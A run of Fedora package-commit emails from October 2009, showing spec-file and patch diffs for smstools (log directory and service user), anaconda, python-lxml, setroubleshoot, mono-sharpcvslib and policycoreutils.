+++ smstools3/examples/smsd.conf.full	2009-10-11 02:21:56.000000000 +0300
@@ -10,8 +10,11 @@ incoming = /var/spool/sms/incoming
 #report = /var/spool/sms/report
 #sent = /var/spool/sms/sent
 #mypath = /usr/local/bin
-#logfile = /var/log/smsd.log
+#logfile = /var/log/smsd/smsd.log
 loglevel = 7
+# 3.1.5 introduced smart logging
+# once your configuration is OK, set log level lower (5 is good in most cases)
+smart_logging = yes
 #alarmhandler = /usr/local/bin/alarmevent
 alarmlevel = 4
 delaytime = 10
@@ -19,7 +22,7 @@ errorsleeptime = 10
 blocktime = 3600
 #blockafter = 3
 #eventhandler = /usr/local/bin/smsevent
-#stats = /var/log/smsd_stats
+#stats = /var/log/smsd/smsd_stats
 #stats_interval = 3600
 #stats_no_zeroes = no
 #blacklist = /etc/smsd.black
@@ -33,7 +36,7 @@ autosplit = 3
 #validity = 255
 #decode_unicode_text = no
 #internal_combine = no
-#user = smsd
+#user = smstools
 #group = dialout
 #infofile = /var/run/sms/smsd.working
 #pidfile = /var/run/sms/smsd.pid
diff -up smstools3/examples/smsd.conf.non-root.loglocation smstools3/examples/smsd.conf.non-root
--- smstools3/examples/smsd.conf.non-root.loglocation	2006-11-23 15:28:27.000000000 +0200
+++ smstools3/examples/smsd.conf.non-root	2009-10-11 02:22:13.000000000 +0300
@@ -1,8 +1,11 @@
 # Example smsd.conf. Read the manual for a description
 
 devices = GSM1
-#logfile = /var/log/smsd.log
+#logfile = /var/log/smsd/smsd.log
 loglevel = 7
+# 3.1.5 introduced smart logging
+# once your configuration is OK, set log level lower (5 is good in most cases)
+smart_logging = yes
 
 # Settings to run smsd without root priviledges:
 user = user


Index: smsd.logrotate
===================================================================
RCS file: /cvs/pkgs/rpms/smstools/devel/smsd.logrotate,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- smsd.logrotate	20 Dec 2008 12:36:50 -0000	1.2
+++ smsd.logrotate	30 Oct 2009 20:49:28 -0000	1.3
@@ -1,8 +1,13 @@
 #
 # Rotate smstools log files.
 #
-/var/log/smsd.log {
+/var/log/smsd/smsd_trouble.log {
 	missingok
+	create 640 smstools smstools
+}
+/var/log/smsd/smsd.log {
+	missingok
+	create 640 smstools smstools
 	postrotate
 		/sbin/service smsd condrestart 2> /dev/null > /dev/null || true
 	endscript


Index: smstools.spec
===================================================================
RCS file: /cvs/pkgs/rpms/smstools/devel/smstools.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- smstools.spec	7 Oct 2009 15:04:36 -0000	1.10
+++ smstools.spec	30 Oct 2009 20:49:29 -0000	1.11
@@ -1,6 +1,8 @@
+%define _varlogdir      %{_localstatedir}/log/smsd
+
 Name:           smstools
 Version:        3.1.5
-Release:        1%{?dist}
+Release:        4%{?dist}
 Summary:        Tools to send and receive short messages through GSM modems or mobile phones
 
 License:        GPLv2+
@@ -9,6 +11,7 @@ URL:            http://smstools3.kekekas
 Source0:        http://smstools3.kekekasvi.com/packages/smstools3-%{version}.tar.gz
 Source1 :       smsd.init
 Source2:        smsd.logrotate
+Patch0:		smstools3-3.1.5-loglocation.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 Requires(post): /sbin/chkconfig
 Requires(preun): /sbin/chkconfig
@@ -23,6 +26,7 @@ programs for automatic actions. 
 
 %prep
 %setup -q -n smstools3
+%patch0 -p1 -b .loglocation
 mv doc manual
 mv examples/.procmailrc examples/procmailrc
 mv examples/.qmailrc examples/qmailrc
@@ -47,18 +51,33 @@ install -dm 750 $RPM_BUILD_ROOT%{_locals
 install -dm 750 $RPM_BUILD_ROOT%{_localstatedir}/spool/sms/incoming
 install -dm 770 $RPM_BUILD_ROOT%{_localstatedir}/spool/sms/outgoing
 install -dm 750 $RPM_BUILD_ROOT%{_localstatedir}/spool/sms/sent
+mkdir -p ${RPM_BUILD_ROOT}%{_varlogdir}
+mkdir -p ${RPM_BUILD_ROOT}%{_varlogdir}/smsd_stats
+
+# Create ghost files
+for n in smsd.log smsd_trouble.log; do
+    touch ${RPM_BUILD_ROOT}%{_varlogdir}/$n
+done
 
 %clean
 rm -rf $RPM_BUILD_ROOT
 
 %pre
 getent group smstools >/dev/null || groupadd -r smstools
+getent passwd smstools >/dev/null || useradd -r -d /var/lib/smstools -m -g smstools -G uucp smstools
 
 %post
 if [ $1 -eq 0 ]; then
         /sbin/chkconfig --add smsd
 fi
 
+# Create initial log files so that logrotate doesn't complain
+for n in smsd.log smsd_trouble.log; do
+        [ -f %{_varlogdir}/$n ] || touch %{_varlogdir}/$n
+        chown smstools:smstools %{_varlogdir}/$n
+        chmod 640 %{_varlogdir}/$n
+done
+
 %preun
 if [ $1 -eq 0 ]; then
         /sbin/service smsd stop >/dev/null 2>&1
@@ -79,16 +98,31 @@ fi
 %{_initrddir}/smsd
 %config(noreplace) %{_sysconfdir}/logrotate.d/smstools
 %config(noreplace) %{_sysconfdir}/smsd.conf
-%dir %{_localstatedir}/spool/sms/
-%dir %{_localstatedir}/spool/sms/checked
-%dir %{_localstatedir}/spool/sms/failed
-%dir %{_localstatedir}/spool/sms/incoming
-%attr(-,root,smstools) %dir %{_localstatedir}/spool/sms/outgoing
-%dir %{_localstatedir}/spool/sms/sent
-
+%attr(-,smstools,smstools) %dir %{_localstatedir}/spool/sms/
+%attr(-,smstools,smstools) %dir %{_localstatedir}/spool/sms/checked
+%attr(-,smstools,smstools) %dir %{_localstatedir}/spool/sms/failed
+%attr(-,smstools,smstools) %dir %{_localstatedir}/spool/sms/incoming
+%attr(-,smstools,smstools) %dir %{_localstatedir}/spool/sms/outgoing
+%attr(-,smstools,smstools) %dir %{_localstatedir}/spool/sms/sent
+%attr(0750,smstools,smstools) %dir %{_varlogdir}
+%attr(0640,smstools,smstools) %ghost %{_varlogdir}/smsd.log
+%attr(0640,smstools,smstools) %ghost %{_varlogdir}/smsd_trouble.log
+%attr(0750,smstools,smstools) %dir %{_varlogdir}/smsd_stats
 
 %changelog
-* Sun Sep 6 2009 Ptrick C. F. Ernzer <smstools.spec at pcfe.net> 3.1.5-1
+* Thu Oct 15 2009 Patrick C. F. Ernzer <smstools.spec at pcfe.net> 3.1.5-4
+- added flag -m to useradd
+
+* Tue Oct 13 2009 Patrick C. F. Ernzer <smstools.spec at pcfe.net> 3.1.5-3
+- after deliberation, decided on having system user (mysql user also has shell, so this should be OK)
+
+* Sun Oct 11 2009 Patrick C. F. Ernzer <smstools.spec at pcfe.net> 3.1.5-2
+- corrected typo in my name in previous changelog entry
+- log files now go to /var/log/smsd (copied that bit from the uucp RPM)
+- creating smstools user if it does not exist
+- will run as user smstools now, did not manage to make it work as system user without login though
+
+* Sun Sep 6 2009 Patrick C. F. Ernzer <smstools.spec at pcfe.net> 3.1.5-1
 - bump to 3.1.5
 - removed perm patch
 - added -D NUMBER_OF_MODEMS=64 to make line



From clumens at fedoraproject.org  Fri Oct 30 20:49:59 2009
From: clumens at fedoraproject.org (Christopher Edward Lumens)
Date: Fri, 30 Oct 2009 20:49:59 +0000 (UTC)
Subject: rpms/anaconda/F-12 .cvsignore, 1.683, 1.684 anaconda.spec, 1.833,
	1.834 sources, 1.817, 1.818
Message-ID: <20091030204959.99BB511C00E8@cvs1.fedora.phx.redhat.com>

Author: clumens

Update of /cvs/pkgs/rpms/anaconda/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27251

Modified Files:
	.cvsignore anaconda.spec sources 
Log Message:
New version.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/anaconda/F-12/.cvsignore,v
retrieving revision 1.683
retrieving revision 1.684
diff -u -p -r1.683 -r1.684
--- .cvsignore	28 Oct 2009 21:49:20 -0000	1.683
+++ .cvsignore	30 Oct 2009 20:49:58 -0000	1.684
@@ -1 +1,2 @@
 anaconda-12.41.tar.bz2
+anaconda-12.42.tar.bz2


Index: anaconda.spec
===================================================================
RCS file: /cvs/pkgs/rpms/anaconda/F-12/anaconda.spec,v
retrieving revision 1.833
retrieving revision 1.834
diff -u -p -r1.833 -r1.834
--- anaconda.spec	28 Oct 2009 21:49:20 -0000	1.833
+++ anaconda.spec	30 Oct 2009 20:49:58 -0000	1.834
@@ -3,7 +3,7 @@
 
 Summary: Graphical system installer
 Name:    anaconda
-Version: 12.41
+Version: 12.42
 Release: 1%{?dist}
 License: GPLv2+
 Group:   Applications/System
@@ -217,6 +217,20 @@ update-desktop-database &> /dev/null || 
 %endif
 
 %changelog
+* Fri Oct 30 2009 Chris Lumens <clumens at redhat.com> - 12.42-1
+- Use the new anaconda image in fedora-logos (#529267). (jkeating)
+- Also mark the Back button as translatable (#526925). (clumens)
+- Call udev_trigger with "change", not "add", to populate udev db. (#531052)
+  (dlehman)
+- Allow callers of udev_trigger to specify the action string. (dlehman)
+- Add the bcm5974 kernel module needed for some touchpads (#474225).
+  (clumens)
+- Fix "resize failed: 1" errors for ext2/ext3/ext4 (#517491). (dcantrell)
+- Put the icon back on the Back button on livecd installs (#526925).
+  (clumens)
+- Use /dev/mapper/live-osimg-min instead of the old device node name
+  (#526789). (clumens)
+
 * Wed Oct 28 2009 David Cantrell <dcantrell at redhat.com> - 12.41-1
 - BR system-config-keyboard (dcantrell)
 
@@ -227,7 +241,7 @@ update-desktop-database &> /dev/null || 
 - max_logical -> max_logicals (#530786). (clumens)
 - We moved from dialog to newt.. (#528497) (msivak)
 
-* Fri Oct 23 2009 Peter Jones <pjones at redhat.com> - 12.41-1
+* Fri Oct 23 2009 Peter Jones <pjones at redhat.com> - 12.42-1
 - More udev fixups for device-mapper and cryptsetup temp devices. (dlehman)
   (#526699)
 - Use rpm to determine how to set bootloader args and default runlevel


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/anaconda/F-12/sources,v
retrieving revision 1.817
retrieving revision 1.818
diff -u -p -r1.817 -r1.818
--- sources	28 Oct 2009 21:49:21 -0000	1.817
+++ sources	30 Oct 2009 20:49:58 -0000	1.818
@@ -1 +1 @@
-b5ebecf17f77c23095def4059f74408f  anaconda-12.41.tar.bz2
+84b8b0d46aa1eb73d2a4dce743f02748  anaconda-12.42.tar.bz2



From jcollie at fedoraproject.org  Fri Oct 30 20:57:20 2009
From: jcollie at fedoraproject.org (Jeffrey C. Ollie)
Date: Fri, 30 Oct 2009 20:57:20 +0000 (UTC)
Subject: rpms/python-lxml/devel .cvsignore, 1.27, 1.28 python-lxml.spec, 1.37,
	1.38 sources, 1.27, 1.28
Message-ID: <20091030205720.1D63711C00E8@cvs1.fedora.phx.redhat.com>

Author: jcollie

Update of /cvs/pkgs/rpms/python-lxml/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28985

Modified Files:
	.cvsignore python-lxml.spec sources 
Log Message:
* Fri Oct 30 2009 Jeffrey C. Ollie <jeff at ocjtech.us> - 2.2.3-1
- 2.2.3 (2009-10-30)
- Bugs fixed
- 
-    * The resolve_entities option did not work in the incremental feed
-      parser.
-    * Looking up and deleting attributes without a namespace could hit a
-      namespaced attribute of the same name instead.
-    * Late errors during calls to SubElement() (e.g. attribute related
-      ones) could leave a partially initialised element in the tree.
-    * Modifying trees that contain parsed entity references could result
-      in an infinite loop.
-    * ObjectifiedElement.__setattr__ created an empty-string child element
-      when the attribute value was rejected as a non-unicode/non-ascii
-      string
-    * Syntax errors in lxml.cssselect could result in misleading error
-      messages.
-    * Invalid syntax in CSS expressions could lead to an infinite loop in
-      the parser of lxml.cssselect.
-    * CSS special character escapes were not properly handled in
-      lxml.cssselect.
-    * CSS Unicode escapes were not properly decoded in lxml.cssselect.
-    * Select options in HTML forms that had no explicit value attribute
-      were not handled correctly. The HTML standard dictates that their
-      value is defined by their text content. This is now supported by
-      lxml.html.
-    * XPath raised a TypeError when finding CDATA sections. This is now
-      fully supported.
-    * Calling help(lxml.objectify) didn't work at the prompt.
-    * The ElementMaker in lxml.objectify no longer defines the default
-      namespaces when annotation is disabled.
-    * Feed parser failed to honour the 'recover' option on parse errors.
-    * Diverting the error logging to Python's logging system was broken.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-lxml/devel/.cvsignore,v
retrieving revision 1.27
retrieving revision 1.28
diff -u -p -r1.27 -r1.28
--- .cvsignore	21 Jun 2009 13:23:43 -0000	1.27
+++ .cvsignore	30 Oct 2009 20:57:16 -0000	1.28
@@ -1 +1 @@
-lxml-2.2.2.tar.gz
+lxml-2.2.3.tar.gz


Index: python-lxml.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-lxml/devel/python-lxml.spec,v
retrieving revision 1.37
retrieving revision 1.38
diff -u -p -r1.37 -r1.38
--- python-lxml.spec	26 Jul 2009 20:36:26 -0000	1.37
+++ python-lxml.spec	30 Oct 2009 20:57:17 -0000	1.38
@@ -1,8 +1,8 @@
 %{!?python_sitearch: %define python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}
 
 Name:           python-lxml
-Version:        2.2.2
-Release:        2%{?dist}
+Version:        2.2.3
+Release:        1%{?dist}
 Summary:        ElementTree-like Python bindings for libxml2 and libxslt
 
 Group:          Development/Libraries
@@ -49,6 +49,40 @@ rm -rf %{buildroot}
 %{python_sitearch}/*
 
 %changelog
+* Fri Oct 30 2009 Jeffrey C. Ollie <jeff at ocjtech.us> - 2.2.3-1
+- 2.2.3 (2009-10-30)
+- Bugs fixed
+- 
+-    * The resolve_entities option did not work in the incremental feed
+-      parser.
+-    * Looking up and deleting attributes without a namespace could hit a
+-      namespaced attribute of the same name instead.
+-    * Late errors during calls to SubElement() (e.g. attribute related
+-      ones) could leave a partially initialised element in the tree.
+-    * Modifying trees that contain parsed entity references could result
+-      in an infinite loop.
+-    * ObjectifiedElement.__setattr__ created an empty-string child element
+-      when the attribute value was rejected as a non-unicode/non-ascii
+-      string
+-    * Syntax errors in lxml.cssselect could result in misleading error
+-      messages.
+-    * Invalid syntax in CSS expressions could lead to an infinite loop in
+-      the parser of lxml.cssselect.
+-    * CSS special character escapes were not properly handled in
+-      lxml.cssselect.
+-    * CSS Unicode escapes were not properly decoded in lxml.cssselect.
+-    * Select options in HTML forms that had no explicit value attribute
+-      were not handled correctly. The HTML standard dictates that their
+-      value is defined by their text content. This is now supported by
+-      lxml.html.
+-    * XPath raised a TypeError when finding CDATA sections. This is now
+-      fully supported.
+-    * Calling help(lxml.objectify) didn't work at the prompt.
+-    * The ElementMaker in lxml.objectify no longer defines the default
+-      namespaces when annotation is disabled.
+-    * Feed parser failed to honour the 'recover' option on parse errors.
+-    * Diverting the error logging to Python's logging system was broken.
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.2.2-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-lxml/devel/sources,v
retrieving revision 1.27
retrieving revision 1.28
diff -u -p -r1.27 -r1.28
--- sources	21 Jun 2009 13:23:43 -0000	1.27
+++ sources	30 Oct 2009 20:57:17 -0000	1.28
@@ -1 +1 @@
-2f2fcb6aae51b5b417a3c0a6b256ec56  lxml-2.2.2.tar.gz
+0b3fcd56909273b3db864133475449dc  lxml-2.2.3.tar.gz



From dwalsh at fedoraproject.org  Fri Oct 30 20:58:09 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Fri, 30 Oct 2009 20:58:09 +0000 (UTC)
Subject: rpms/setroubleshoot/devel .cvsignore, 1.136,
	1.137 setroubleshoot.spec, 1.176, 1.177 sources, 1.149, 1.150
Message-ID: <20091030205809.8ED0611C00E8@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/setroubleshoot/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29269

Modified Files:
	.cvsignore setroubleshoot.spec sources 
Log Message:
* Fri Oct 30 2009 Dan Walsh <dwalsh at redhat.com> - 2.2.43-1
- Fix crash on selinux disabled and bad /etc/redhat-release reporing of bugzillas



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/setroubleshoot/devel/.cvsignore,v
retrieving revision 1.136
retrieving revision 1.137
diff -u -p -r1.136 -r1.137
--- .cvsignore	26 Oct 2009 14:02:16 -0000	1.136
+++ .cvsignore	30 Oct 2009 20:58:08 -0000	1.137
@@ -54,3 +54,4 @@ setroubleshoot-2.2.39.tar.gz
 setroubleshoot-2.2.40.tar.gz
 setroubleshoot-2.2.41.tar.gz
 setroubleshoot-2.2.42.tar.gz
+setroubleshoot-2.2.43.tar.gz


Index: setroubleshoot.spec
===================================================================
RCS file: /cvs/extras/rpms/setroubleshoot/devel/setroubleshoot.spec,v
retrieving revision 1.176
retrieving revision 1.177
diff -u -p -r1.176 -r1.177
--- setroubleshoot.spec	26 Oct 2009 14:02:16 -0000	1.176
+++ setroubleshoot.spec	30 Oct 2009 20:58:08 -0000	1.177
@@ -1,6 +1,6 @@
 Summary: Helps troubleshoot SELinux problems
 Name: setroubleshoot
-Version: 2.2.42
+Version: 2.2.43
 Release: 1%{?dist}
 License: GPLv2+
 Group: Applications/System
@@ -212,6 +212,9 @@ Setroubleshoot documentation package
 %doc %{pkgdocdir}
 
 %changelog
+* Fri Oct 30 2009 Dan Walsh <dwalsh at redhat.com> - 2.2.43-1
+- Fix crash on selinux disabled and bad /etc/redhat-release reporing of bugzillas
+
 * Mon Oct 26 2009 Dan Walsh <dwalsh at redhat.com> - 2.2.42-1
 - Update po
 - Fix bugzilla reporting to handle LoadError exception


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/setroubleshoot/devel/sources,v
retrieving revision 1.149
retrieving revision 1.150
diff -u -p -r1.149 -r1.150
--- sources	26 Oct 2009 14:02:16 -0000	1.149
+++ sources	30 Oct 2009 20:58:09 -0000	1.150
@@ -1 +1 @@
-44f7afba1ec6ecbe08da6dd735f9092c  setroubleshoot-2.2.42.tar.gz
+80345e1271f83d60efd66ee2aa1db55e  setroubleshoot-2.2.43.tar.gz



From spot at fedoraproject.org  Fri Oct 30 20:58:14 2009
From: spot at fedoraproject.org (Tom Callaway)
Date: Fri, 30 Oct 2009 20:58:14 +0000 (UTC)
Subject: rpms/mono-sharpcvslib/F-12 mono-sharpcvslib.spec,1.11,1.12
Message-ID: <20091030205814.7EE1411C00E8@cvs1.fedora.phx.redhat.com>

Author: spot

Update of /cvs/pkgs/rpms/mono-sharpcvslib/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29303

Modified Files:
	mono-sharpcvslib.spec 
Log Message:
rebuild


Index: mono-sharpcvslib.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mono-sharpcvslib/F-12/mono-sharpcvslib.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- mono-sharpcvslib.spec	26 Oct 2009 20:37:33 -0000	1.11
+++ mono-sharpcvslib.spec	30 Oct 2009 20:58:14 -0000	1.12
@@ -2,7 +2,7 @@
 
 Name:	 	mono-sharpcvslib
 Version:	0.35
-Release:	12%{?dist}
+Release:	13%{?dist}
 Summary:	Client cvs library written in C#
 URL:		http://sharpcvslib.sourceforge.net/
 # Exception: Permission is given to use this library in commercial closed-source applications
@@ -95,6 +95,9 @@ mv src/doc/api/msdn/tree.js{.utf8,}
 %{_libdir}/pkgconfig/sharpcvslib.pc
 
 %changelog
+* Fri Oct 30 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 0.35-13
+- rebuild
+
 * Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 0.35-12
 - ExcludeArch sparc64
 



From dwalsh at fedoraproject.org  Fri Oct 30 20:59:53 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Fri, 30 Oct 2009 20:59:53 +0000 (UTC)
Subject: rpms/setroubleshoot/F-12 setroubleshoot.spec, 1.170, 1.171 sources, 
	1.143, 1.144
Message-ID: <20091030205953.CB42811C00E8@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/setroubleshoot/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29800

Modified Files:
	setroubleshoot.spec sources 
Log Message:
* Fri Oct 30 2009 Dan Walsh <dwalsh at redhat.com> - 2.2.43-1
- Fix crash on selinux disabled and bad /etc/redhat-release reporing of bugzillas



Index: setroubleshoot.spec
===================================================================
RCS file: /cvs/extras/rpms/setroubleshoot/F-12/setroubleshoot.spec,v
retrieving revision 1.170
retrieving revision 1.171
diff -u -p -r1.170 -r1.171
--- setroubleshoot.spec	26 Oct 2009 14:07:42 -0000	1.170
+++ setroubleshoot.spec	30 Oct 2009 20:59:53 -0000	1.171
@@ -1,6 +1,6 @@
 Summary: Helps troubleshoot SELinux problems
 Name: setroubleshoot
-Version: 2.2.42
+Version: 2.2.43
 Release: 1%{?dist}
 License: GPLv2+
 Group: Applications/System
@@ -212,6 +212,9 @@ Setroubleshoot documentation package
 %doc %{pkgdocdir}
 
 %changelog
+* Fri Oct 30 2009 Dan Walsh <dwalsh at redhat.com> - 2.2.43-1
+- Fix crash on selinux disabled and bad /etc/redhat-release reporing of bugzillas
+
 * Mon Oct 26 2009 Dan Walsh <dwalsh at redhat.com> - 2.2.42-1
 - Update po
 - Fix bugzilla reporting to handle LoadError exception


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/setroubleshoot/F-12/sources,v
retrieving revision 1.143
retrieving revision 1.144
diff -u -p -r1.143 -r1.144
--- sources	26 Oct 2009 14:07:42 -0000	1.143
+++ sources	30 Oct 2009 20:59:53 -0000	1.144
@@ -1 +1 @@
-44f7afba1ec6ecbe08da6dd735f9092c  setroubleshoot-2.2.42.tar.gz
+80345e1271f83d60efd66ee2aa1db55e  setroubleshoot-2.2.43.tar.gz



From dwalsh at fedoraproject.org  Fri Oct 30 21:01:45 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Fri, 30 Oct 2009 21:01:45 +0000 (UTC)
Subject: rpms/policycoreutils/devel policycoreutils-rhat.patch, 1.450,
	1.451 policycoreutils.spec, 1.654, 1.655
Message-ID: <20091030210145.5AD9211C00E8@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/policycoreutils/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30302

Modified Files:
	policycoreutils-rhat.patch policycoreutils.spec 
Log Message:
* Fri Oct 30 2009 Dan Walsh <dwalsh at redhat.com> 2.0.74-14
- Allow semanage -i and semanage -o to generate customization files.
- semanage -o will generate a customization file that semanage -i can read and set a machines to the same selinux configuration


policycoreutils-rhat.patch:
 Makefile                                    |    2 
 audit2allow/audit2allow                     |   14 
 load_policy/Makefile                        |    5 
 restorecond/Makefile                        |   24 -
 restorecond/org.selinux.Restorecond.service |    3 
 restorecond/restorecond.8                   |   15 
 restorecond/restorecond.c                   |  426 +++---------------
 restorecond/restorecond.conf                |    5 
 restorecond/restorecond.desktop             |    7 
 restorecond/restorecond.h                   |   18 
 restorecond/restorecond.init                |    5 
 restorecond/restorecond_user.conf           |    2 
 restorecond/user.c                          |  237 ++++++++++
 restorecond/watch.c                         |  253 ++++++++++
 sandbox/Makefile                            |   31 +
 sandbox/deliverables/README                 |   32 +
 sandbox/deliverables/basicwrapper           |    4 
 sandbox/deliverables/run-in-sandbox.py      |   49 ++
 sandbox/deliverables/sandbox                |  216 +++++++++
 sandbox/sandbox                             |  242 ++++++++++
 sandbox/sandbox.8                           |   26 +
 sandbox/sandboxX.sh                         |   16 
 sandbox/seunshare.c                         |  265 +++++++++++
 scripts/Makefile                            |    2 
 scripts/chcat                               |    2 
 scripts/fixfiles                            |   28 -
 scripts/fixfiles.8                          |   17 
 semanage/semanage                           |  136 ++++-
 semanage/seobject.py                        |  472 +++++++++++++-------
 semodule/semodule.8                         |    6 
 semodule/semodule.c                         |   53 +-
 setfiles/Makefile                           |    2 
 setfiles/restore.c                          |  519 ++++++++++++++++++++++
 setfiles/restore.h                          |   49 ++
 setfiles/restorecon.8                       |    7 
 setfiles/setfiles.8                         |    3 
 setfiles/setfiles.c                         |  647 +++-------------------------
 37 files changed, 2668 insertions(+), 1172 deletions(-)

Index: policycoreutils-rhat.patch
===================================================================
RCS file: /cvs/extras/rpms/policycoreutils/devel/policycoreutils-rhat.patch,v
retrieving revision 1.450
retrieving revision 1.451
diff -u -p -r1.450 -r1.451
--- policycoreutils-rhat.patch	14 Oct 2009 14:47:50 -0000	1.450
+++ policycoreutils-rhat.patch	30 Oct 2009 21:01:42 -0000	1.451
@@ -1,6 +1,6 @@
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/audit2allow/audit2allow policycoreutils-2.0.74/audit2allow/audit2allow
 --- nsapolicycoreutils/audit2allow/audit2allow	2009-01-13 08:45:35.000000000 -0500
-+++ policycoreutils-2.0.74/audit2allow/audit2allow	2009-09-20 21:26:36.000000000 -0400
++++ policycoreutils-2.0.74/audit2allow/audit2allow	2009-10-15 10:37:41.000000000 -0400
 @@ -42,6 +42,8 @@
          from optparse import OptionParser
  
@@ -40,7 +40,7 @@ diff --exclude-from=exclude --exclude=se
              f = sys.stdin
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/load_policy/Makefile policycoreutils-2.0.74/load_policy/Makefile
 --- nsapolicycoreutils/load_policy/Makefile	2008-08-28 09:34:24.000000000 -0400
-+++ policycoreutils-2.0.74/load_policy/Makefile	2009-09-25 15:28:19.000000000 -0400
++++ policycoreutils-2.0.74/load_policy/Makefile	2009-10-15 10:37:41.000000000 -0400
 @@ -1,6 +1,7 @@
  # Installation directories.
  PREFIX ?= ${DESTDIR}/usr
@@ -61,7 +61,7 @@ diff --exclude-from=exclude --exclude=se
  	-rm -f $(TARGETS) *.o 
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/Makefile policycoreutils-2.0.74/Makefile
 --- nsapolicycoreutils/Makefile	2008-08-28 09:34:24.000000000 -0400
-+++ policycoreutils-2.0.74/Makefile	2009-09-20 21:26:36.000000000 -0400
++++ policycoreutils-2.0.74/Makefile	2009-10-15 10:37:41.000000000 -0400
 @@ -1,4 +1,4 @@
 -SUBDIRS = setfiles semanage load_policy newrole run_init secon audit2allow audit2why scripts sestatus semodule_package semodule semodule_link semodule_expand semodule_deps setsebool po
 +SUBDIRS = setfiles semanage load_policy newrole run_init sandbox secon audit2allow audit2why scripts sestatus semodule_package semodule semodule_link semodule_expand semodule_deps setsebool po gui
@@ -70,7 +70,7 @@ diff --exclude-from=exclude --exclude=se
  
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/restorecond/Makefile policycoreutils-2.0.74/restorecond/Makefile
 --- nsapolicycoreutils/restorecond/Makefile	2009-08-20 15:49:21.000000000 -0400
-+++ policycoreutils-2.0.74/restorecond/Makefile	2009-09-20 21:26:36.000000000 -0400
++++ policycoreutils-2.0.74/restorecond/Makefile	2009-10-15 10:37:41.000000000 -0400
 @@ -1,17 +1,28 @@
  # Installation directories.
  PREFIX ?= ${DESTDIR}/usr
@@ -119,16 +119,65 @@ diff --exclude-from=exclude --exclude=se
  	/sbin/restorecon $(SBINDIR)/restorecond 
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/restorecond/org.selinux.Restorecond.service policycoreutils-2.0.74/restorecond/org.selinux.Restorecond.service
 --- nsapolicycoreutils/restorecond/org.selinux.Restorecond.service	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/restorecond/org.selinux.Restorecond.service	2009-09-20 21:26:36.000000000 -0400
++++ policycoreutils-2.0.74/restorecond/org.selinux.Restorecond.service	2009-10-15 10:37:41.000000000 -0400
 @@ -0,0 +1,3 @@
 +[D-BUS Service]
 +Name=org.selinux.Restorecond
 +Exec=/usr/sbin/restorecond -u
-Binary files nsapolicycoreutils/restorecond/restorecond and policycoreutils-2.0.74/restorecond/restorecond differ
+diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/restorecond/restorecond.8 policycoreutils-2.0.74/restorecond/restorecond.8
+--- nsapolicycoreutils/restorecond/restorecond.8	2009-08-20 15:49:21.000000000 -0400
++++ policycoreutils-2.0.74/restorecond/restorecond.8	2009-10-20 09:32:14.000000000 -0400
+@@ -3,7 +3,7 @@
+ restorecond \- daemon that watches for file creation and then sets the default SELinux file context
+ 
+ .SH "SYNOPSIS"
+-.B restorecond  [\-d]
++.B restorecond  [\-d] [\-f restorecond_file ] [\-u] [\-v]
+ .P
+ 
+ .SH "DESCRIPTION"
+@@ -19,13 +19,22 @@
+ .B \-d
+ Turns on debugging mode.   Application will stay in the foreground and lots of
+ debugs messages start printing.
++.TP 
++.B \-f restorecond_file
++Use alternative restorecond.conf file.
++.TP 
++.B \-u
++Turns on user mode.  Runs restorecond in the user session and reads /etc/selinux/restorecond_user.conf.  Uses dbus to make sure only one restorecond is running per user session.
++.TP 
++.B \-v
++Turns on verbose debugging.  (Report missing files)
+ 
+ .SH "AUTHOR"
+-This man page was written by Dan Walsh <dwalsh at redhat.com>.
+-The program was written by Dan Walsh <dwalsh at redhat.com>.
++This man page and program was written by Dan Walsh <dwalsh at redhat.com>.
+ 
+ .SH "FILES"
+ /etc/selinux/restorecond.conf
++/etc/selinux/restorecond_user.conf
+ 
+ .SH "SEE ALSO"
+ .BR restorecon (8),
